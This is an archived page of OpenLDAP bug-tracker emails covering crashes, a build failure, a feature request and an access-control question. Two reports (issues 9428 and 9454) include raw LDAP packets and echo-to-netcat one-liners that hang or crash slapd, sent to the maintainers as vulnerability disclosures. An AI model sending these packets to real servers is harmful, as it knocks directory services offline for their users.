openldap-bugs August 2021

openldap-bugs@openldap.org

1 participants
259 discussions

[Issue 9608] New: slapo-syncprov: Replace op on olcSpSessionlog segfault
by openldap-its＠openldap.org 11 Sep '21

11 Sep '21

https://bugs.openldap.org/show_bug.cgi?id=9608 Issue ID: 9608 Summary: slapo-syncprov: Replace op on olcSpSessionlog segfault Product: OpenLDAP Version: 2.4.59 Hardware: All OS: All Status: UNCONFIRMED Severity: normal Priority: --- Component: overlays Assignee: bugs(a)openldap.org Reporter: quanah(a)openldap.org Target Milestone: --- With the following Syncprov overlay configuration: dn: olcOverlay={0}syncprov,olcDatabase={2}mdb,cn=config objectClass: olcSyncProvConfig objectClass: olcOverlayConfig olcOverlay: {0}syncprov olcSpCheckpoint: 100 10 You can crash slapd with the following modification as the cn=config rootdn: dn: olcOverlay={0}syncprov,olcDatabase={2}mdb,cn=config changetype: modify replace: olcSpSessionlog olcSpSessionlog: 10000 GDB backtrace shows: #0 0x00007f7b43f8b954 in sp_cf_gen (c=0x7f7b0761b450) at syncprov.c:3164 on = 0x55d6fb385b90 si = 0x55d6fb35c700 rc = 0 #1 0x000055d6fa4da4ec in config_modify_internal (ca=0x7f7b0761b450, rs=<optimized out>, op=<optimized out>, ce=<optimized out>) at bconfig.c:5773 vals = 0x7f7af8002680 nvals = 0x0 d = <optimized out> e = 0x55d6fb335a38 save_attrs = 0x55d6fb349498 a = 0x55d6fb350180 i = <optimized out> dels = 0x0 rc = <optimized out> oc_at = <optimized out> ct = 0x7f7b441970e0 <spcfg+64> nocs = 3 ptr = <optimized out> s = 0x0 deltail = 0x0 ml = 0x7f7af8102cd0 #2 config_back_modify (op=<optimized out>, rs=<optimized out>) at bconfig.c:5943 cfb = <optimized out> ce = <optimized out> last = 0x55d6fb387f30 ml = <optimized out> ca = {argc = 1, argv = 0x7f7af8103610, argv_size = 513, line = 0x0, tline = 0x0, fname = 0x55d6fa5f5a91 "slapd", lineno = 0, log = "olcSpSessionlog: value #0", '\000' <repeats 4098 times>, reply = {err = 0, msg = "modify/delete: olcSpSessionlog: no such attribute", '\000' <repeats 206 times>}, depth = 0, valx = -1, values = {v_int = 10000, v_uint = 10000, v_long = 10000, v_ulong = 10000, v_ber_t = 10000, v_string = 0x2710 <Address 0x2710 out of bounds>, v_bv = {bv_len = 10000, bv_val = 0x0}, v_dn = {vdn_dn = { bv_len = 10000, bv_val = 0x0}, vdn_ndn = {bv_len = 0, bv_val = 0x0}}, v_ad = 0x2710}, rvalue_vals = 0x0, rvalue_nvals = 0x0, op = 1, type = 2, ca_op = 0x7f7af80028f0, be = 0x55d6fb35c880, bi = 0x55d6fb385b90, ca_entry = 0x55d6fb335a38, ca_private = 0x0, cleanup = 0x0, table = Cft_Overlay} rdn = {bv_len = 10, bv_val = 0x55d6fb385d70 "olcOverlay={0}syncprov,olcDatabase={2}mdb,cn=config"} ptr = <optimized out> rad = 0x55d6fb31a570 do_pause = <optimized out> #3 0x000055d6fa508b89 in fe_op_modify (op=0x7f7af80028f0, rs=0x7f7b0761d860) at modify.c:303 update = <optimized out> repl_user = <optimized out> op_be = <optimized out> bd = 0x55d6fa87da80 <slap_frontendDB> textbuf = "\006\000\000\000y\000\000\000\001\000\000\000\300\000\000\000\000\000\000\000\020\001\000\000\000\000\000\000\000\000\000\000P\215.\373\326U\000\000 \307a\a{\177\000\000\006\000\000\000\000\000\000\000u\335P\372\326U\000\000`\330a\a{\177\000\000\344l\207\372\326U\000\000\005\000\000\000\000\000\000\000 \036\000\370z\177\000\000\017\000\000\000\000\000\000\000B[\233G{\177\000\000\064\000\000\000\000\000\000\000\000_Z\004\321WbM\300\307a\a{\177", '\000' <repeats 18 times>, "\320,\020\370z\177\000\000p]5\373\326U", '\000' <repeats 18 times>, "J\227P\372\326U\000\000\200\n\000\370z\177\000\000"... #4 0x000055d6fa50ab7d in do_modify (op=0x7f7af80028f0, rs=0x7f7b0761d860) at modify.c:177 dn = {bv_len = 51, bv_val = 0x7f7af8002867 "olcOverlay={0}syncprov,olcDatabase={2}mdb,cn=config"} textbuf = "olcSpSessionlog", '\000' <repeats 240 times> tmp = 0x0 #5 0x000055d6fa4f068c in connection_operation (ctx=ctx@entry=0x7f7b0761dad0, arg_v=arg_v@entry=0x7f7af80028f0) at connection.c:1182 rc = 80 cancel = <optimized out> op = 0x7f7af80028f0 rs = {sr_type = REP_RESULT, sr_tag = 0, sr_msgid = 0, sr_err = 0, sr_matched = 0x0, sr_text = 0x0, sr_ref = 0x0, sr_ctrls = 0x0, sr_un = {sru_search = { r_entry = 0x0, r_attr_flags = 0, r_operational_attrs = 0x0, r_attrs = 0x0, r_nentries = 0, r_v2ref = 0x0}, sru_sasl = {r_sasldata = 0x0}, sru_extended = { r_rspoid = 0x0, r_rspdata = 0x0}}, sr_flags = 0} tag = 102 opidx = SLAP_OP_MODIFY conn = 0x55d6fb522120 memctx = 0x7f7af8000a80 memctx_null = 0x0 memsiz = 1048576 __PRETTY_FUNCTION__ = "connection_operation" #6 0x000055d6fa4f09fb in connection_read_thread (ctx=0x7f7b0761dad0, argv=0xb) at connection.c:1318 rc = <optimized out> cri = {op = 0x7f7af80028f0, func = 0x0, arg = 0x0, ctx = <optimized out>, nullop = <optimized out>} s = <optimized out> #7 0x00007f7b4937527a in ldap_int_thread_pool_wrapper (xpool=0x55d6fb3101d0) at tpool.c:696 pool = 0x55d6fb3101d0 task = 0x7f7b00000b40 work_list = <optimized out> ctx = {ltu_id = 140166381561600, ltu_key = {{ltk_key = 0x55d6fa4ee6a0 <conn_counter_init>, ltk_data = 0x7f7af8002710, ltk_free = 0x55d6fa4ee780 <conn_counter_destroy>}, {ltk_key = 0x55d6fa549200 <slap_sl_mem_init>, ltk_data = 0x7f7af8000a80, ltk_free = 0x55d6fa5490c0 <slap_sl_mem_destroy>}, {ltk_key = 0x55d6fa504fd0 <slap_op_free>, ltk_data = 0x0, ltk_free = 0x55d6fa504f30 <slap_op_q_destroy>}, { ltk_key = 0x0, ltk_data = 0x0, ltk_free = 0x0} <repeats 26 times>, {ltk_key = 0x0, ltk_data = 0x7f7b484ffd61 <_L_unlock_3056+19>, ltk_free = 0x0}, { ltk_key = 0x0, ltk_data = 0x0, ltk_free = 0x0}, {ltk_key = 0x0, ltk_data = 0x0, ltk_free = 0x0}}} kctx = <optimized out> keyslot = <optimized out> hash = <optimized out> __PRETTY_FUNCTION__ = "ldap_int_thread_pool_wrapper" #8 0x00007f7b484feea5 in start_thread () from /lib64/libpthread.so.0 No symbol table info available. #9 0x00007f7b479bb9fd in clone () from /lib64/libc.so.6 No symbol table info available. -- You are receiving this mail because: You are on the CC list for the issue.

1 4

[Issue 9428] New: DoS due to infinite packet processing in slapd
by openldap-its＠openldap.org 11 Sep '21

11 Sep '21

https://bugs.openldap.org/show_bug.cgi?id=9428 Issue ID: 9428 Summary: DoS due to infinite packet processing in slapd Product: OpenLDAP Version: unspecified Hardware: All OS: All Status: UNCONFIRMED Severity: normal Priority: --- Component: slapd Assignee: bugs(a)openldap.org Reporter: phasip(a)gmail.com Target Milestone: --- Processing of a packet results in the command handling thread becomming stuck in an infinite loop. After sending 32 of theese slapd doesn't respond to any new queries and consumes 100% cpu Packet 00000000: 3036 0200 7730 300b 312e 332e 362e 312e 06..w00.1.3.6.1. 00000010: 312e 3881 1030 0130 0030 3030 3030 3030 1.8..0.0.0000000 00000020: 3030 3030 3030 0030 3030 3030 3030 3030 000000.000000000 00000030: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000 00000040: 30 0 GDB backtrace (gdb) thread 3 [Switching to thread 3 (Thread 0x7fff8aad2700 (LWP 12))] #0 0x00007ffff7eb489b in sched_yield () at ../sysdeps/unix/syscall-template.S:78 78 ../sysdeps/unix/syscall-template.S: No such file or directory. (gdb) bt #0 0x00007ffff7eb489b in sched_yield () at ../sysdeps/unix/syscall-template.S:78 #1 0x0000555555671671 in ldap_pvt_thread_yield () at thr_posix.c:249 #2 0x00005555555d9255 in cancel_extop (op=0x7fff7c001160, rs=<optimized out>) at cancel.c:143 #3 0x00005555555b449a in fe_extended (op=0x7fff7c001160, rs=0x7fff8aad1a80) at extended.c:225 #4 0x00005555555b41c2 in do_extended (op=0x7fff7c001160, rs=0x7fff8aad1a80) at extended.c:175 #5 0x0000555555583d09 in connection_operation (ctx=ctx@entry=0x7fff8aad1ba0, arg_v=0x7fff7c001160) at connection.c:1163 #6 0x0000555555584370 in connection_read_thread (ctx=0x7fff8aad1ba0, argv=0xc) at connection.c:1314 #7 0x0000555555671080 in ldap_int_thread_pool_wrapper (xpool=0x555555799240) at tpool.c:1051 #8 0x00007ffff7faa609 in start_thread (arg=<optimized out>) at pthread_create.c:477 #9 0x00007ffff7ed1293 in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:95 Testing: docker run --privileged -it --net=host --entrypoint gdb phasip/openldap /openldap/servers/slapd/slapd -ex 'set args -h ldap://:1389/ -d 256' -ex 'run' for i in {1..32}; do echo -en '\x30\x36\x02\x00\x77\x30\x30\x0b\x31\x2e\x33\x2e\x36\x2e\x31\x2e\x31\x2e\x38\x81\x10\x30\x01\x30\x00\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x00\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30' | timeout 1 nc localhost 1389 & done -- You are receiving this mail because: You are on the CC list for the issue.

1 5

[Issue 9454] New: A malicious packet can force OpenLDAP to fail an assertion and crash (schema_init.c:3808: checkTime)
by openldap-its＠openldap.org 11 Sep '21

11 Sep '21

https://bugs.openldap.org/show_bug.cgi?id=9454 Issue ID: 9454 Summary: A malicious packet can force OpenLDAP to fail an assertion and crash (schema_init.c:3808: checkTime) Product: OpenLDAP Version: unspecified Hardware: All OS: All Status: UNCONFIRMED Severity: normal Priority: --- Component: slapd Assignee: bugs(a)openldap.org Reporter: phasip(a)gmail.com Target Milestone: --- A malicious packet can force OpenLDAP to fail an assertion and crash slapd: schema_init.c:3808: checkTime: Assertion `!BER_BVISEMPTY( in )' failed. Packet: 00000000: 3082 016a 0201 3063 30df df30 0030 0030 0..j..0c0..0.0.0 00000010: 0030 0030 0030 00a0 8201 3030 0030 0930 .0.0.0....00.0.0 00000020: 3030 3030 3030 3030 302e 3030 3030 3030 000000000.000000 00000030: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000 00000040: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000 00000050: 3030 3030 3030 3030 a930 8109 322e 352e 00000000.0..2.5. 00000060: 3133 2e33 3883 2e7b 2020 2020 7468 6973 13.38..{ this 00000070: 5570 6461 7465 2020 2020 2022 2220 2c69 Update "" ,i 00000080: 7373 7545 7220 7264 6e53 6571 7565 6e63 ssuEr rdnSequenc 00000090: 653a 2222 7d30 3030 3030 3030 3030 3030 e:""}00000000000 000000a0: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000 000000b0: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000 000000c0: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000 000000d0: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000 000000e0: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000 000000f0: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000 00000100: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000 00000110: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000 00000120: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000 00000130: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000 00000140: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000 00000150: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000 00000160: 3030 3030 3030 3030 3030 3030 3030 00000000000000 GDB output: [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". 601e59e1 @(#) $OpenLDAP: slapd 2.X (Feb 6 2021 08:48:29) $ @3790967905a3:/openldap/servers/slapd 601e59e1 slapd starting [New Thread 0x7fff8b2d3700 (LWP 13)] [New Thread 0x7fff8aad2700 (LWP 14)] 601e59e6 conn=1000 fd=11 ACCEPT from IP=127.0.0.1:42330 (IP=0.0.0.0:1389) [New Thread 0x7fff8a2d1700 (LWP 15)] 601e59e6 get_filter: unknown filter type=48 601e59e6 get_filter: unknown filter type=48 601e59e6 get_filter: unknown filter type=48 slapd: schema_init.c:3808: checkTime: Assertion `!BER_BVISEMPTY( in )' failed. Thread 3 "slapd" received signal SIGABRT, Aborted. [Switching to Thread 0x7fff8aad2700 (LWP 14)] __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:50 50 ../sysdeps/unix/sysv/linux/raise.c: No such file or directory. (gdb) bt #0 __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:50 #1 0x00007ffff7dd4859 in __GI_abort () at abort.c:79 #2 0x00007ffff7dd4729 in __assert_fail_base ( fmt=0x7ffff7f6a588 "%s%s%s:%u: %s%sAssertion `%s' failed.\n%n", assertion=0x55555568d363 "!BER_BVISEMPTY( in )", file=0x55555568d2f3 "schema_init.c", line=3808, function=<optimized out>) at assert.c:92 #3 0x00007ffff7de5f36 in __GI___assert_fail ( assertion=assertion@entry=0x55555568d363 "!BER_BVISEMPTY( in )", file=file@entry=0x55555568d2f3 "schema_init.c", line=line@entry=3808, function=function@entry=0x5555556908f0 <__PRETTY_FUNCTION__.14047> "checkTime") at assert.c:101 #4 0x00005555555bac61 in checkTime (in=in@entry=0x7fff8aad06f0, out=out@entry=0x0) at schema_init.c:3808 #5 0x00005555555bcd1a in issuerAndThisUpdatePretty (syntax=0x555555784150, in=0x7fff8aad0800, out=0x7fff8aad0770, ctx=0x7fff7c001630) at schema_init.c:4095 #6 0x000055555559df4d in asserted_value_validate_normalize (ad=0x0, mr=0x555555789e50, usage=usage@entry=2049, in=in@entry=0x7fff8aad0800, out=out@entry=0x7fff8aad0828, text=text@entry=0x7fff8aad1aa0, ctx=0x7fff7c001630) at value.c:153 #7 0x00005555555d3a94 in get_mra (op=op@entry=0x7fff7c0010f0, ber=ber@entry=0x7fff7c000f10, f=f@entry=0x7fff8aad08c0, --Type <RET> for more, q to quit, c to continue without paging-- text=text@entry=0x7fff8aad1aa0) at mra.c:198 #8 0x0000555555587543 in get_filter0 (op=op@entry=0x7fff7c0010f0, ber=ber@entry=0x7fff7c000f10, filt=filt@entry=0x7fff7c0016e8, text=text@entry=0x7fff8aad1aa0, depth=depth@entry=1) at filter.c:290 #9 0x0000555555587793 in get_filter_list (op=op@entry=0x7fff7c0010f0, ber=ber@entry=0x7fff7c000f10, f=f@entry=0x7fff8aad0988, text=text@entry=0x7fff8aad1aa0, depth=depth@entry=1) at filter.c:354 #10 0x000055555558731e in get_filter0 (op=op@entry=0x7fff7c0010f0, ber=0x7fff7c000f10, filt=filt@entry=0x7fff7c001170, text=text@entry=0x7fff8aad1aa0, depth=depth@entry=0) at filter.c:235 #11 0x00005555555880b6 in get_filter (op=op@entry=0x7fff7c0010f0, ber=<optimized out>, filt=filt@entry=0x7fff7c001170, text=text@entry=0x7fff8aad1aa0) at filter.c:332 #12 0x0000555555585396 in do_search (op=0x7fff7c0010f0, rs=0x7fff8aad1a80) at search.c:127 #13 0x0000555555583d09 in connection_operation (ctx=ctx@entry=0x7fff8aad1ba0, arg_v=0x7fff7c0010f0) at connection.c:1163 #14 0x0000555555584370 in connection_read_thread (ctx=0x7fff8aad1ba0, argv=0xb) at connection.c:1314 #15 0x00005555556711e4 in ldap_int_thread_pool_wrapper (xpool=0x555555799240) at tpool.c:1051 #16 0x00007ffff7faa609 in start_thread (arg=<optimized out>) at pthread_create.c:477 --Type <RET> for more, q to quit, c to continue without paging-- #17 0x00007ffff7ed1293 in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:95 Testing: 1. Launch openldap (Current public repo) docker run -it --net=host bitnami/openldap (More recent develop) docker run -it --net=host phasip/openldap 2. Send crashing packet echo -en '\x30\x82\x01\x6a\x02\x01\x30\x63\x30\xdf\xdf\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\xa0\x82\x01\x30\x30\x00\x30\x09\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x2e\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\xa9\x30\x81\x09\x32\x2e\x35\x2e\x31\x33\x2e\x33\x38\x83\x2e\x7b\x20\x20\x20\x20\x74\x68\x69\x73\x55\x70\x64\x61\x74\x65\x20\x20\x20\x20\x20\x22\x22\x20\x2c\x69\x73\x73\x75\x45\x72\x20\x72\x64\x6e\x53\x65\x71\x75\x65\x6e\x63\x65\x3a\x22\x22\x7d\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30' | nc localhost 1389 -- Note -- I had forgotten the fuzzer was running. As only one crash has been found in a while the fuzzing machine will retire now. I will collect the corpus into https://github.com/Phasip/openldap_fuzz -- You are receiving this mail because: You are on the CC list for the issue.

1 4

[Issue 9651] New: Add some kind of rate limiting option to ldapmodify
by openldap-its＠openldap.org 02 Sep '21

02 Sep '21

https://bugs.openldap.org/show_bug.cgi?id=9651 Issue ID: 9651 Summary: Add some kind of rate limiting option to ldapmodify Product: OpenLDAP Version: 2.5.6 Hardware: All OS: All Status: UNCONFIRMED Severity: enhancement Priority: --- Component: client tools Assignee: bugs(a)openldap.org Reporter: hyc(a)openldap.org Target Milestone: --- When using ldapmodify to replay a testing workload it would be useful to be able to specify a request rate, instead of just performing multiple operations in immediate succession. As a simpler alternative, just being able to specify a time interval between operations would be helpful. As an even greater future enhancement, it would be nice to have an option to replay an accesslog.ldif directly, using its embedded timestamps to control the time interval between operations. Currently this isn't feasible since reqstart timestamps only have 1-second granularity, the fraction part is a linear counter and not a microsecond value. The reqStart fraction would need to be extended to 9 decimal places with full nanosecond resolution in order to be usable as actual fractional time. We already know that microsecond resolution is insufficient to avoid frequent collisions. -- You are receiving this mail because: You are on the CC list for the issue.

1 3

[Issue 9658] New: libldap fails to compile on Hurd: MAXPATHLEN undeclared
by openldap-its＠openldap.org 31 Aug '21

31 Aug '21

https://bugs.openldap.org/show_bug.cgi?id=9658 Issue ID: 9658 Summary: libldap fails to compile on Hurd: MAXPATHLEN undeclared Product: OpenLDAP Version: 2.5.7 Hardware: All OS: All Status: UNCONFIRMED Keywords: needs_review Severity: normal Priority: --- Component: build Assignee: bugs(a)openldap.org Reporter: ryan(a)openldap.org Target Milestone: --- OpenLDAP 2.5 and later fails to compile on GNU/Hurd: libtool: compile: cc -g -O2 -I../../include -I../../include -DLDAP_LIBRARY -c request.c -fPIC -DPIC -o .libs/request.o In file included from ldap-int.h:119, from request.c:53: request.c: In function 'ldap_dump_connection': ../../include/ldap_pvt.h:181:25: error: 'MAXPATHLEN' undeclared (first use in this function) 181 | #define LDAP_IPADDRLEN (MAXPATHLEN + sizeof("PATH=")) | ^~~~~~~~~~ request.c:859:17: note: in expansion of macro 'LDAP_IPADDRLEN' 859 | char from[LDAP_IPADDRLEN]; | ^~~~~~~~~~~~~~ ../../include/ldap_pvt.h:181:25: note: each undeclared identifier is reported only once for each function it appears in 181 | #define LDAP_IPADDRLEN (MAXPATHLEN + sizeof("PATH=")) | ^~~~~~~~~~ request.c:859:17: note: in expansion of macro 'LDAP_IPADDRLEN' 859 | char from[LDAP_IPADDRLEN]; | ^~~~~~~~~~~~~~ Makefile:435: recipe for target 'request.lo' failed make[2]: *** [request.lo] Error 1 This is not the same as ITS#9648. I have pulled latest master and the patch for that one does not solve it. GNU/Hurd actually does not have a MAXPATHLEN constant at all; paths are expected to be dynamically allocated. See: https://www.gnu.org/software/hurd/hurd/porting/guidelines.html#PATH_MAX_tt_… This is a low priority issue for me personally. I'm just filing it for tracking. I'm hoping someone from the GNU/Hurd community might be able to work on a patch. -- You are receiving this mail because: You are on the CC list for the issue.

1 8

[Issue 6949] OpenLDAP Logging
by openldap-its＠openldap.org 31 Aug '21

31 Aug '21

https://bugs.openldap.org/show_bug.cgi?id=6949 --- Comment #7 from Ondřej Kuzník <ondra(a)mistotebe.net> --- It seems this is limited to slapd main.c so a standalone lloadd keeps the original logging configuration/code/format. Maybe the logging code could move to a separate file so it can be shared between the two. -- You are receiving this mail because: You are on the CC list for the issue.

1 0

[Issue 9657] New: Different access privileges required for SIMPLE BIND (attr: userPassword) and SASL BIND (whole entry)
by openldap-its＠openldap.org 31 Aug '21

31 Aug '21

https://bugs.openldap.org/show_bug.cgi?id=9657 Issue ID: 9657 Summary: Different access privileges required for SIMPLE BIND (attr: userPassword) and SASL BIND (whole entry) Product: OpenLDAP Version: 2.5.6 Hardware: All OS: All Status: UNCONFIRMED Severity: normal Priority: --- Component: slapd Assignee: bugs(a)openldap.org Reporter: dpa-openldap(a)aegee.org Target Milestone: --- I configure a database with: dn: cn=config objectClass: olcGlobal cn: config olcAuthzRegexp: uid=([^@,]+)(@aegee.org)?(,cn=aegee.org)?,cn=[^,]*,cn=auth uid=$1,ou=persons,o=AEGEE olcSaslSecProps: none ####################################################################### # LMDB database definitions ####################################################################### # dn: olcDatabase=mdb,cn=config objectClass: olcDatabaseConfig objectClass: olcMdbConfig olcDatabase: mdb olcDbMaxSize: 10485760 olcSuffix: o=AEGEE olcRootDN: uid=zzz,ou=persons,o=AEGEE olcRootPW: zzz olcDbDirectory: /home/d/ldap/aegee olcDbIndex: objectClass eq olcAccess: to dn.one="ou=persons,o=AEGEE" attrs=userPassword by anonymous auth olcAccess: to dn.one="ou=persons,o=AEGEE" by self read fill the database with /usr/local/bin/ldapadd -x -w zzz -D "uid=zzz;ou=persons;o=AEGEE" -H ldap://localhost <<ABC dn:o=AEGEE o:AEGEE objectClass:organization telephoneNumber:+32 2 246 0320 street:Rue du Noyer / Notelaarsstraat 55 st:Brussels postalAddress:Rue du Noyer / Notelaarsstraat 55, 1000 Brussels, Belgium dn:ou=persons,o=AEGEE objectClass:organizationalUnit description:AEGEE members (persons) with account at https://my.aegee.eu/ dn: uid=lui.veve,ou=persons,o=AEGEE objectClass: top objectClass: person objectClass: organizationalPerson objectClass: inetOrgPerson sn: Veve cn: Lui Veve uid: lui.veve employeeNumber: 444 givenName: Lui mail: lui.veve@zzzz userPassword:: dXAx structuralObjectClass: inetOrgPerson ABC Its content is ( slapcat -n1 -F conf/ ) ---- dn: o=AEGEE o: AEGEE objectClass: organization telephoneNumber: +32 2 246 0320 street: Rue du Noyer / Notelaarsstraat 55 st: Brussels postalAddress: Rue du Noyer / Notelaarsstraat 55, 1000 Brussels, Belgium structuralObjectClass: organization entryUUID: 223703d3-812e-405c-b57e-4233b55847c3 creatorsName: uid=zzz,ou=persons,o=AEGEE createTimestamp: 20210830161645Z entryCSN: 20210830161645.797291Z#000000#000#000000 modifiersName: uid=zzz,ou=persons,o=AEGEE modifyTimestamp: 20210830161645Z dn: ou=persons,o=AEGEE objectClass: organizationalUnit description: AEGEE members (persons) with account at https://my.aegee.eu/ structuralObjectClass: organizationalUnit ou: persons entryUUID: 17f8ff72-250b-4cbd-873f-340aaed2f0d9 creatorsName: uid=zzz,ou=persons,o=AEGEE createTimestamp: 20210830161645Z entryCSN: 20210830161645.802430Z#000000#000#000000 modifiersName: uid=zzz,ou=persons,o=AEGEE modifyTimestamp: 20210830161645Z dn: uid=lui.veve,ou=persons,o=AEGEE objectClass: top objectClass: person objectClass: organizationalPerson objectClass: inetOrgPerson sn: Veve cn: Lui Veve uid: lui.veve employeeNumber: 444 givenName: Lui mail:: bHVpLnZldmVAenp6eiA= userPassword:: dXAx structuralObjectClass: inetOrgPerson entryUUID: 2e37d641-6865-4a08-87f9-b12653f52d12 creatorsName: uid=zzz,ou=persons,o=AEGEE createTimestamp: 20210830161645Z entryCSN: 20210830161645.806532Z#000000#000#000000 modifiersName: uid=zzz,ou=persons,o=AEGEE modifyTimestamp: 20210830161645Z ---- When I try to authenticate with SIMPLE BIND, OpenLDAP requests only access to the userPassword attribute: ldapwhoami -x -D "uid=lui.veve;ou=persons;o=AEGEE" -v -w up1 -H ldap://localhost/ logs: 612d04f3.27f67994 0x7f50731ac640 <= ldap_dn2bv(uid=lui.veve,ou=persons,o=AEGEE)=0 612d04f3.27f6a83b 0x7f50731ac640 => ldap_dn2bv(272) 612d04f3.27f6cbf9 0x7f50731ac640 <= ldap_dn2bv(uid=lui.veve,ou=persons,o=aegee)=0 612d04f3.27f6e92a 0x7f50731ac640 <<< dnPrettyNormal: <uid=lui.veve,ou=persons,o=AEGEE>, <uid=lui.veve,ou=persons,o=aegee> 612d04f3.27f7035b 0x7f50731ac640 conn=1001 op=0 BIND dn="uid=lui.veve,ou=persons,o=AEGEE" method=128 612d04f3.27f744d5 0x7f50731ac640 do_bind: version=3 dn="uid=lui.veve,ou=persons,o=AEGEE" method=128 612d04f3.27f77c7c 0x7f50731ac640 ==> mdb_bind: dn: uid=lui.veve,ou=persons,o=AEGEE 612d04f3.27f82a00 0x7f50731ac640 mdb_dn2entry("uid=lui.veve,ou=persons,o=aegee") 612d04f3.27f847bd 0x7f50731ac640 => mdb_dn2id("uid=lui.veve,ou=persons,o=aegee") 612d04f3.27f8a6f4 0x7f50731ac640 <= mdb_dn2id: got id=0x3 612d04f3.27f916cf 0x7f50731ac640 => mdb_entry_decode: 612d04f3.27f942bb 0x7f50731ac640 <= mdb_entry_decode 612d04f3.27f96490 0x7f50731ac640 => access_allowed: result not in cache (userPassword) 612d04f3.27f97b35 0x7f50731ac640 => access_allowed: auth access to "uid=lui.veve,ou=persons,o=AEGEE" "userPassword" requested 612d04f3.27f9ab7f 0x7f50731ac640 => dn: [1] ou=persons,o=aegee 612d04f3.27f9ccc7 0x7f50731ac640 => acl_get: [1] matched 612d04f3.27f9ddb2 0x7f50731ac640 => acl_get: [1] attr userPassword 612d04f3.27f9f63f 0x7f50731ac640 => acl_mask: access to entry "uid=lui.veve,ou=persons,o=AEGEE", attr "userPassword" requested 612d04f3.27fa0913 0x7f50731ac640 => acl_mask: to value by "", (=0) 612d04f3.27fa24a1 0x7f50731ac640 <= check a_dn_pat: anonymous 612d04f3.27fa492f 0x7f50731ac640 <= acl_mask: [1] applying auth(=xd) (stop) 612d04f3.27fa5bbd 0x7f50731ac640 <= acl_mask: [1] mask: auth(=xd) 612d04f3.27fa721c 0x7f50731ac640 => slap_access_allowed: auth access granted by auth(=xd) 612d04f3.27fa8306 0x7f50731ac640 => access_allowed: auth access granted by auth(=xd) 612d04f3.27fa9f20 0x7f50731ac640 conn=1001 op=0 BIND dn="uid=lui.veve,ou=persons,o=AEGEE" mech=SIMPLE bind_ssf=0 ssf=0 612d04f3.27fb0385 0x7f50731ac640 do_bind: v3 bind: "uid=lui.veve,ou=persons,o=AEGEE" to "uid=lui.veve,ou=persons,o=AEGEE" When I try to SASL connect, then OpenLDAP requests access to the whole uid=lui.veve,ou=persons,o=AEGEE entry: ldapwhoami -Y LOGIN -U"lui.veve" -v -w up1 -H ldap://localhost/ logs: 612d053d.03ab64b8 0x7f50731ac640 => ldap_bv2dn(uid=lui.veve,ou=persons,o=AEGEE,0) 612d053d.03abb462 0x7f50731ac640 <= ldap_bv2dn(uid=lui.veve,ou=persons,o=AEGEE)=0 612d053d.03abddda 0x7f50731ac640 => ldap_dn2bv(272) 612d053d.03abf0ad 0x7f50731ac640 <= ldap_dn2bv(uid=lui.veve,ou=persons,o=aegee)=0 612d053d.03ac070c 0x7f50731ac640 <<< dnNormalize: <uid=lui.veve,ou=persons,o=aegee> 612d053d.03ac2626 0x7f50731ac640 <==slap_sasl2dn: Converted SASL name to uid=lui.veve,ou=persons,o=aegee 612d053d.03ac68fe 0x7f50731ac640 slap_sasl_getdn: dn:id converted to uid=lui.veve,ou=persons,o=aegee 612d053d.03ac82e9 0x7f50731ac640 SASL Canonicalize [conn=1002]: slapAuthcDN="uid=lui.veve,ou=persons,o=aegee" 612d053d.03acd965 0x7f50731ac640 => mdb_search 612d053d.03ada119 0x7f50731ac640 mdb_dn2entry("uid=lui.veve,ou=persons,o=aegee") 612d053d.03adcf7a 0x7f50731ac640 => mdb_dn2id("uid=lui.veve,ou=persons,o=aegee") 612d053d.03ae10f4 